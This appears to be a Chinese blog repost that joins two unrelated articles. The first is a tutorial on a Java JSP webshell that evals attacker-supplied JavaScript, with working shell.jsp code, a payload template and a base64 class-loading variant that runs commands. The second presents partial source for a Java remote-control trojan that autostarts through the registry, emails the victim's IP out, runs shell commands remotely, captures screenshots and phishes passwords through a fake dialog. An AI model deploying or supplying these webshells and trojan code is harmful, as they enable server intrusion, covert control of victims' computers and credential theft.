你知道的越多，不知道的就越多，业余的像一棵小草！

你来，我们一起精进！你不来，我和你的竞争对手一起精进！

编辑：业余草

juejin.cn/post/6990715558178062372

推荐：https://www.xttblog.com/?p=5253

前言

一直以来，Java 一句话木马都是采用打入字节码 defineClass 实现的。这种方法的优势是可以完整的打进去一个类，可以几乎实现 Java 上的所有功能。不足之处就是 Payload 过于巨大，并且不像脚本语言一样方便修改。并且还存在很多特征，例如继承 ClassLoader，反射调用 defineClass 等。本在这里提出一种 Java 一句话木马：利用 Java 中 JS 引擎实现的一句话木马。

基本原理

1. Java没有eval函数，Js有eval函数，可以把字符串当代码解析。

2. Java从1.6开始自带ScriptEngineManager这个类，原生支持调用js，无需安装第三方库。

3. ScriptEngine支持在Js中调用Java的对象。

综上所述，我们可以利用Java调用JS引擎的eval，然后在Payload中反过来调用Java对象，这就是本文提出的新型Java一句话的核心原理。

ScriptEngineManager全名javax.script.ScriptEngineManager，从Java 6开始自带。其中Java 6/7采用的js解析引擎是Rhino，而从java8开始换成了Nashorn。不同解析引擎对同样的代码有一些差别，这点后面有所体现。

如果说原理其实一两句话就可以说清楚，但是难点在于Payload的编写。跨语言调用最大的一个难点就是数据类型以及方法的转换。例如Java中有byte数组，Js中没有怎么办？C++里有指针但是Java里没有这个玩意怎么办？

在实现期间踩了很多的坑，这篇文章跟大家一起掰扯掰扯，希望能给大家提供点帮助。

获取脚本引擎

//通过脚本名称获取：
ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript");  //简写为js也可以
//通过文件扩展名获取： 
ScriptEngine engine = new ScriptEngineManager().getEngineByExtension("js");  
//通过MIME类型来获取： 
ScriptEngine engine = new ScriptEngineManager().getEngineByMimeType("text/javascript");

绑定对象

ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");
engine.put("request", request);
engine.put("response", response);
engine.eval(request.getParameter("mr6"));

或者通过 eval 的重载函数，直接把对象通过一个HashMap放进去

new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("ant"), new javax.script.SimpleBindings(new java.util.HashMap() {{
put("response", response);
put("request", request);
}}))

eval

综合上面两步，有很多种写法，例如：

shell.jsp

<%

     javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("js");
     engine.put("request", request);
     engine.put("response", response);
     engine.eval(request.getParameter("mr6"));

%>

或者直接缩写成一句：

<%
     new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("mr6"), new javax.script.SimpleBindings(new java.util.HashMap() {{
            put("response", response);
            put("request", request);
        }}));
%>

以执行命令为例：

❝

POST：mr6=java.lang.Runtime.getRuntime().exec("calc");

❞

即可达到命令执行的效果。

基本语法

翻阅文档比较枯燥，这里挑一些用到的说一说。

感兴趣的同学也可以看一下原文档：https://docs.oracle.com/en/java/javase/12/scripting/java-scripting-programmers-guide.pdf

调用Java方法

前面加上全限定类名即可

var s = [3];
s[0] = "cmd";
s[1] = "/c";
s[2] = "whoami";//yzddmr6
var p = java.lang.Runtime.getRuntime().exec(s);
var sc = new java.util.Scanner(p.getInputStream(),"GBK").useDelimiter("\\A");
var result = sc.hasNext() ? sc.next() : "";
sc.close();

导入Java类型

var Vector = java.util.Vector;
var JFrame = Packages.javax.swing.JFrame;

 //这种写法仅仅支持Nashorn，Rhino并不支持
var Vector = Java.type("java.util.Vector")
var JFrame = Java.type("javax.swing.JFrame")

创建Java类型的数组

// Rhino
var Array = java.lang.reflect.Array
var intClass = java.lang.Integer.TYPE
var array = Array.newInstance(intClass, 8)

// Nashorn
var IntArray = Java.type("int[]")
var array = new IntArray(8)

导入Java类

默认情况下，Nashorn 不会导入Java的包。这样主要为了避免类型冲突，比如你写了一个new String，引擎怎么知道你new的是Java的String还是js的String？所以所有的Java的调用都需要加上全限定类名。但是这样写起来很不方便。

这个时候大聪明Mozilla Rhino 就想了一个办法，整了个扩展文件，里面提供了importClass 跟importPackage 方法，可以导入指定的Java包。

• importClass 导入指定Java的类，现在推荐用Java.type

• importPackage 导入一个Java包，类似import com.yzddmr6.*，现在推荐用JavaImporter

这里需要注意的是，Rhino对该语法的错误处理机制，当被访问的类存在时，Rhino加载该class，而当其不存在时，则把它当成package名称，而并不会报错。

load("nashorn:mozilla_compat.js");

importClass(java.util.HashSet);
var set = new HashSet();

importPackage(java.util);
var list = new ArrayList();

在一些特殊情况下，导入的全局包会影响js中的函数，例如类名冲突。这个时候可以用JavaImporter，并配合with语句，对导入的Java包设定一个使用范围。

// create JavaImporter with specific packages and classes to import

var SwingGui = new JavaImporter(javax.swing,
                            javax.swing.event,
                            javax.swing.border,
                            java.awt.event);
with (SwingGui) {
    // 在with里面才可以调用swing里面的类，防止污染
    var mybutton = new JButton("test");
    var myframe = new JFrame("test");
}

方法调用与重载

方法在JavaScript中实际上是对象的一个属性，所以除了使用 . 来调用方法之外，也可以使用[]来调用方法：

var System = Java.type('java.lang.System');
System.out.println('Hello, World');    // Hello, World
System.out['println']('Hello, World'); // Hello, World

Java支持重载（Overload）方法，例如，System.out 的 println 有多个重载版本，如果你想指定特定的重载版本，可以使用[]指定参数类型。例如：

var System = Java.type('java.lang.System');
System.out['println'](3.14);          // 3.14
System.out['println(double)'](3.14);  // 3.14
System.out['println(int)'](3.14);     // 3

Payload结构设计

详情写在注释里了

//导入基础拓展
try {
  load("nashorn:mozilla_compat.js");
} catch (e) {}
//导入常见包
importPackage(Packages.java.util);
importPackage(Packages.java.lang);
importPackage(Packages.java.io);

var output = new StringBuffer(""); //输出
var cs = "${jspencode}"; //设置字符集编码
var tag_s = "${tag_s}"; //开始符号
var tag_e = "${tag_e}"; //结束符号
try {
  response.setContentType("text/html");
  request.setCharacterEncoding(cs);
  response.setCharacterEncoding(cs);
  function decode(str) {
    //参数解码
    str = str.substr(2);
    var bt = Base64DecodeToByte(str);
    return new java.lang.String(bt, cs);
  }
  function Base64DecodeToByte(str) {
    importPackage(Packages.sun.misc);
    importPackage(Packages.java.util);
    var bt;
    try {
      bt = new BASE64Decoder().decodeBuffer(str);
    } catch (e) {
      bt = Base64.getDecoder().decode(str);
    }
    return bt;
  }
  function asoutput(str) {
    //回显加密
    return str;
  }
  function func(z1) {
    //eval function

    return z1;
  }
  output.append(func(z1)); //添加功能函数回显
} catch (e) {
  output.append("ERROR:// " + e.toString()); //输出错误
}
try {
  response.getWriter().print(tag_s + asoutput(output.toString()) + tag_e); //回显
} catch (e) {}

语法问题的坑

两种语言对象间的相互转换

要注意的是，在遇到Java跟JS可能存在类型冲突的地方，即使导入了包也要加上全限定类名。

在编写payload的时候被坑了很久的一个问题就是，在导入java.lang以后写new String(bt,cs)没有加全限定类名，导致打印出来的一直是一个字符串地址。

正确的操作是new java.lang.String(bt,cs)。因为在Java和Js中均存在String类，按照优先级，直接new出来的会是Js的对象。

下面附上类型对比表：

JavaScript Value	JavaScript Type	Java Type	Is Scriptable	Is Function
{a:1, b:['x','y']}	object	org.mozilla.javascript.NativeObject	「+」	-
[1,2,3]	object	org.mozilla.javascript.NativeArray	「+」	-
1	number	java.lang.Double	-	-
1.2345	number	java.lang.Double	-	-
NaN	number	java.lang.Double	-	-
Infinity	number	java.lang.Double	-	-
-Infinity	number	java.lang.Double	-	-
true	boolean	java.lang.Boolean	-	-
"test"	string	java.lang.String	-	-
null	object	null	-	-
undefined	undefined	org.mozilla.javascript.Undefined	-	-
function () { }	function	org.mozilla.javascript.gen.c1	「+」	「+」
/.*/	object	org.mozilla.javascript.regexp.NativeRegExp	「+」	「+」

Rhino/Nashorn解析的差异

这也是当时一个坑点，看下面一段代码

var readonlyenv = System.getenv();
      var cmdenv = new java.util.HashMap(readonlyenv);
      var envs = envstr.split("\\|\\|\\|asline\\|\\|\\|");
      for (var i = 0; i < envs.length; i++) {
        var es = envs[i].split("\\|\\|\\|askey\\|\\|\\|");
        if (es.length == 2) {
          cmdenv.put(es[0], es[1]);
        }
      }
      var e = [];
      var i = 0;
      print(cmdenv+'\n');
      for (var key in cmdenv) {//关键
        print("key: "+key+"\n");
        e[i] = key + "=" + cmdenv[key];
        i++;
      }

其中cmdenv是个HashMap，这段代码在Java 8中Nashorn引擎可以正常解析，var key in cmdenv的时候把cmdenv的键给输出了

但是在Java 6下运行时，Rhino把他当成了一个js对象，把其属性输出了

所以涉及到这种混合写法就会有异议，不同的引擎有不同的解释。

解决办法使用Java迭代器即可，不掺杂js的写法。

var i = 0;
    var iter = cmdenv.keySet().iterator();
    while (iter.hasNext()) {
      var key = iter.next();
      var val = cmdenv.get(key);
      //print("\nkey:" + key);
      //print("\nval:" + val);
      e[i] = key + "=" + val;
      i++;
    }

反射的坑

在Java中，如果涉及到不同版本之间类的包名不一样，我们通常不能直接导入，而要使用反射的写法。

例如base64解码的时候，Java的写法如下

public byte[] Base64DecodeToByte(String str) {
        byte[] bt = null;
        String version = System.getProperty("java.version");
        try {
            if (version.compareTo("1.9") >= 0) {
                Class clazz = Class.forName("java.util.Base64");
                Object decoder = clazz.getMethod("getDecoder").invoke(null);
                bt = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
            } else {
                Class clazz = Class.forName("sun.misc.BASE64Decoder");
                bt = (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
            }
            return bt;
        } catch (Exception e) {
            return new byte[]{};
        }
    }

改写成js风格后，发现会有一些奇奇怪怪的BUG。（后来发现反射其实也可以实现，导入Java类型然后再传入反射参数即可，就是比较麻烦）

function test(str) {
  var bt = null;
  var version = System.getProperty("java.version");

  if (version.compareTo("1.9") >= 0) {
    var clazz = java.lang.Class.forName("java.util.Base64");
    var decoder = clazz.getMethod("getDecoder").invoke(null);
    bt = decoder
      .getClass()
      .getMethod("decode", java.lang.String.class)
      .invoke(decoder, str);
  } else {
    var clazz = java.lang.Class.forName("sun.misc.BASE64Decoder");
    bt = clazz
      .getMethod("decodeBuffer", java.lang.String.class)
      .invoke(clazz.newInstance(), str);
  }
  return bt;
}

但是在Js中，我们并不需要这么麻烦。上面提到过如果importPackage了一个不存在的包名，Js引擎会将这个错误给忽略，并且由于Js松散的语言特性，我们仅仅需要正射+异常捕获就可以完成目的。大大减小了payload编写的复杂度。

function Base64DecodeToByte(str) {
    importPackage(Packages.sun.misc);
    importPackage(Packages.java.util);
    var bt;
    try {
      bt = new BASE64Decoder().decodeBuffer(str);
    } catch (e) {
      bt = Base64.getDecoder().decode(str);
    }
    return bt;
  }

保底操作

理论上，我们可以用js引擎的一句话实现所有字节码一句话的功能，退一万步讲，如果有些功能实在不好实现，或者说想套用现有的payload应该怎么办呢。

我们可以用java调用js后，再调用defineClass来实现：

编写一个命令执行的类：calc.java

import java.io.IOException;

public class calc {
    public calc(String cmd){
        try {
            Runtime.getRuntime().exec(cmd);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

编译之后base64一下

> base64 -w 0 calc.class
yv66vgAAADQAKQoABwAZCgAaABsKABoAHAcAHQoABAAeBwAfBwAgAQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAAR0aGlzAQAGTGNhbGM7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAHwcAIQcAHQEAClNvdXJjZUZpbGUBAAljYWxjLmphdmEMAAgAIgcAIwwAJAAlDAAmACcBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAoACIBAARjYWxjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBAAMoKVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABgAHAAAAAAABAAEACAAJAAEACgAAAIgAAgADAAAAFSq3AAG4AAIrtgADV6cACE0stgAFsQABAAQADAAPAAQAAwALAAAAGgAGAAAABAAEAAYADAAJAA8ABwAQAAgAFAAKAAwAAAAgAAMAEAAEAA0ADgACAAAAFQAPABAAAAAAABUAEQASAAEAEwAAABMAAv8ADwACBwAUBwAVAAEHABYEAAEAFwAAAAIA

填入下方payload

try {
  load("nashorn:mozilla_compat.js");
} catch (e) {}
importPackage(Packages.java.util);
importPackage(Packages.java.lang);
importPackage(Packages.java.io);
var output = new StringBuffer("");
var cs = "UTF-8";
response.setContentType("text/html");
request.setCharacterEncoding(cs);
response.setCharacterEncoding(cs);
function Base64DecodeToByte(str) {
  importPackage(Packages.sun.misc);
  importPackage(Packages.java.util);
  var bt;
  try {
    bt = new BASE64Decoder().decodeBuffer(str);
  } catch (e) {
    bt = new Base64().getDecoder().decode(str);
  }
  return bt;
}
function define(Classdata, cmd) {
  var classBytes = Base64DecodeToByte(Classdata);
  var byteArray = Java.type("byte[]");
  var int = Java.type("int");
  var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod(
    "defineClass",
    byteArray.class,
    int.class,
    int.class
  );
  defineClassMethod.setAccessible(true);
  var cc = defineClassMethod.invoke(
    Thread.currentThread().getContextClassLoader(),
    classBytes,
    0,
    classBytes.length
  );
  return cc.getConstructor(java.lang.String.class).newInstance(cmd);
}
output.append(
  define(
    "yv66vgAAADQAKQoABwAZCgAaABsKABoAHAcAHQoABAAeBwAfBwAgAQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAAR0aGlzAQAGTGNhbGM7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAHwcAIQcAHQEAClNvdXJjZUZpbGUBAAljYWxjLmphdmEMAAgAIgcAIwwAJAAlDAAmACcBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAoACIBAARjYWxjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBAAMoKVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABgAHAAAAAAABAAEACAAJAAEACgAAAIgAAgADAAAAFSq3AAG4AAIrtgADV6cACE0stgAFsQABAAQADAAPAAQAAwALAAAAGgAGAAAABAAEAAYADAAJAA8ABwAQAAgAFAAKAAwAAAAgAAMAEAAEAA0ADgACAAAAFQAPABAAAAAAABUAEQASAAEAEwAAABMAAv8ADwACBwAUBwAVAAEHABYEAAEAFwAAAAIAGA==",
    "calc"
  )
);
response.getWriter().print(output);

成功弹出计算器

也就是说，新型一句话在特殊情况下，还可以继续兼容原有的字节码一句话，甚至复用原有的Payload。

测试

测试环境：Java>=6

同样的列目录Payload，原有的字节码方式数据包长度为7378，而新型JSP一句话仅仅为2481，差不多为原有的三分之一。

列目录

最后

基于JS引擎的Java一句话体积更小，变化种类更多，使用起来更灵活。范围为Java 6及以上，基本可以满足需求，但是Payload写起来非常麻烦，也不好调试，算是有利有弊。

提出新型一句话并不是说一定要取代原有的打入字节码的方式，只是在更复杂情况下，可以提供给渗透人员更多的选择。

这个小程序是很久以前写的，现在发上来(仅供大家学习参考，不能用于任何非法行为~)

木马定义：利用计算机程序漏洞侵入后窃取文件的程序程序被称为木马。它是一种具有隐藏性的、自发性的可被用来进行恶意行为的程序，多不会直接对电脑产生危害，而是以控制为主。

当然我写的这个没这么“强大”。。。

首先讲下我的实现思路：

主要通过Socket和ServerSocket之间传输数据。

由于我没有自己的一个服务器(没有固定IP)，所以在这个程序中，我把被控制端作为ServerSocket,.控制端为Socket。

要连接ServerSocket，首先要知道其的IP地址

这里我采用当程序启动时，从ServerSoket端发送一份包含其IP信息的邮件到自己的邮箱。

随后控制端就可以顺利连接到ServerSoket端了。但是这里有个问题，就是到ServerSoket处于内网时，将无法顺利连接

连接成功之后，我们就可以发送命令给ServerSoket。然后在ServerSoket那一端进行执行。

这里的执行包括ServerSoket进行相应的本地操作(具体操作的内容下面有说明)，以及发送数据给我们能的控制端。

程序功能说明：

/*

* 本程序仅供学习参考使用。严禁使用本程序进行违法行为！

* 本程序功能

* 1、程序开机自动启动(√)

* 2、自动发送邮件

* 3、执行dos命令，并将信息返回、这里可以执行关机等命令(√)

* 4、锁定鼠标，这里通过一个线程实现

* 5、查看被控制端的桌面，将桌面画面截图并发送给控制端(√)

* 6、在被控制端弹出对话框,多种对话框模式(√)

* 7、让被控制端闪屏(√)

* 本程序仅供学习参考使用。严禁使用本程序进行违法行为！

*/

下面给出一些程序运行的效果图：

首先输入IP地址进行连接，通过邮件我们可以知道被控制端的IP地址，下面看下邮件效果

然后我们就可以进行相应的操作了

如输入-help，可以显示本程序支持的命令。

这里演示下在被控制端弹出输入密码对话框

我们在控制端输入-dinpass 亲，请输入的你密码！

那么弹出的对话框效果如图所示！

当被控制点击确定时，将发送其输入的密码到控制端，我们可以看到效果。

我输入的是123321

再演示个执行dos的关机命令。

其它功能如鼠标锁定等，不方便控制演示。就留给大家自己探索！！！

下面附上代码

由于代码较多，这里上传部分代码

控制端部分代码

ControlWin.java

import ...;

public class ControlWin {

Socket socket;

........

public ControlWin() {

in = new Scanner(System.in);

System.out.print("输入IP：");

IP = in.nextLine().trim();

try {

socket = new Socket(IP, PORT);

....初始化其它信息

System.out.println("contected");

dos = new DataOutputStream(socket.getOutputStream());

dis = new DataInputStream(socket.getInputStream());

new Thread(new MyInputThread()).start();

go();

} catch (UnknownHostException e) {

e.printStackTrace();

return;

} catch (IOException e) {

e.printStackTrace();

return;

}

}

public void go() {//开始发送命令

while (true) {

System.out.println("intput commend:");

dosS = in.nextLine().trim();

if () {.......

} else if (dosS.endsWith("-help")) {

System.out

.println("-doutmsg msg 以对话框形式输出信息\n"

+ "-dinmsg 弹出一个输入对话框\n"

+ "-dinpass msg 弹出一个输入密码对话框+显示信息msg\n"

+ "-flash msg 闪屏并显示msg所表示的文字\n" + "-p:获取图片\n"

+ "-m l锁定键盘 .....-m a取消锁定\n"

+ "输入其则执行相应的dos命令，如输入ipconfig 则显示相应的ip信息\n"

+ "exit:退出");

continue;

}

try {

dos.writeUTF(dosS);

} catch (IOException e) {

e.printStackTrace();

}

}

}

/*接受被控制端发送过来的图片*/

public void getPic() {.....

while (true) {

try {

num = dis.read(imageData, 0, imageData.length);

fos.write(imageData, 0, num);

length -= num;

if (length == 0) {

break;

}

} catch (Exception e) {

try {

System.out.println("error");

fos.flush();

fos.close();

} catch (IOException e1) {

e1.printStackTrace();

}

break;

}

}....

}

public static void main(String[] args) {

new ControlWin();

}

class MyInputThread implements Runnable {接受被控制端返回的文本信息

public void run() {

while (true) {

.....}

}

}

}

被控制端部分代码

Test.java

public class Test {

ServerSocket serverSocket;

Socket socket;......

public Test() {

/*

在注册表中设置开机自动运行 register();

以及发送邮件，主要是把自己的IP发出来,并进行一些初始化......

*/

go();

}

}

/* 在注册表中设置开机自动运行 */

void go() {

while (true) {

/*

* 这里不断的接受发送过来的命令然后根据命令执行相应的操作

* 如：(标有√，的是本程序已经实现的功能)

* 1、我们可以通过开启一个线程通过robot锁定鼠标(√)

* 2、执行dos命令(√)

* 3、传输被控制端的文件

* 4、查看被控制端的桌面(√)

* 5、在被控制端弹出对话框(√)

* 6、让被控制端闪屏(√)

* 7、等等等等

* 具体的实现都在这里进行，当然这个需要和控制者那段的代码相配合

* 同时自己设计好具体的命令

* */

try {

commendString = dis.readUTF().trim();

} catch (IOException e) {

System.out.println("leave");

break;

}

然后对commendString进行分析，执行相应的命令就是上面所描述的1，2，3...等等等命令

}

}

/*在注册表注册开机自动启动*/

public void register() {

......

}

/*启动线程锁定鼠标*/

void mouseLock(String s) {

......

}

/*执行dos命令*/

void dosExe(String dosString) {

String command = "cmd /c " + dosString;

String s = null;

try {

process = r.exec(command);

bufferedReader = new BufferedReader(new InputStreamReader(process

.getInputStream()));

dos.writeUTF("1start");

while ((s = bufferedReader.readLine()) != null) {

s = s.trim();

dos.writeUTF(s);

}

dos.writeUTF("1end");

} catch (IOException e) {

e.printStackTrace();

}

}

/*发送图片*/

void sendPic() {......

}

public static void main(String[] args) {

new Test();

}

/*获取本地IP*/

String getIP() {

String ipString = "";

Enumeration netInterfaces = null;

try {

netInterfaces = NetworkInterface.getNetworkInterfaces();

while (netInterfaces.hasMoreElements()) {

NetworkInterface ni = netInterfaces.nextElement();

ipString = ipString + ni.getDisplayName() + "\n";

ipString = ipString + ni.getName() + "\n";

Enumeration ips = ni.getInetAddresses();

while (ips.hasMoreElements()) {

ipString = ipString + ips.nextElement().getHostAddress()

+ "\n";

}

}

} catch (Exception e) {

e.printStackTrace();

}

return ipString;

}

/*显示消息对话框*/

class ShowDialogThread extends Thread {......

}

class MouseLockThread extends Thread {......

}

// 这里可以启动其它的应用程序

class OtherApp extends Thread {

}

/*下面两个类用于文件复制*/

class JarUtil {......

}

class MyCopy {

public int fileCopy(String sFile, String oFile) {......

}

}

/*

* 发送邮件部分 需要一两个邮箱，一个是发送方邮箱，一个是接受邮箱

*/

class SMail {

boolean sended = false;

Properties props;

Session session;

Message msg;

Transport transport;

public void send(String s) {

try {

// System.out.println(s);

props = new Properties();

props.setProperty("mail.smtp.auth", "true");

props.setProperty("mail.transport.protocol", "smtp");

session = Session.getDefaultInstance(props);

// session.setDebug(true);

msg = new MimeMessage(session);

msg.setSubject("ip");

msg.setText(s);

/*xxxxxxxxxxxxxxxx为发送方邮箱用户名*/

msg.setFrom(new InternetAddress("xxxxxxxxxxxxxxxx@sina.com"));

transport = session.getTransport();

/*xxxxxxxxxxxxxxxx为发送方邮箱用户名、

*yyyyyyyyy为发送方邮箱密码*/

transport.connect("smtp.sina.com", 25, "xxxxxxxxxxxxxxxx", "yyyyyyyyy");

transport.sendMessage(msg, new Address[] { new InternetAddress(

"4968@qq.com") });

transport.close();

sended = true;

} catch (Exception e) {

}

}

public SMail() {

sended = false;

}

}

/*密码输入框*/

class MyDialogPassInput extends JDialog {......

}

/*闪屏*/

class Flash {......

}

/*输入对话框*/

class MyDialogMsgInput extends JDialog {

JTextField text;

JButton sureButton;

String string;

public MyDialogMsgInput(String s) {......

}

}

附上完整源码地址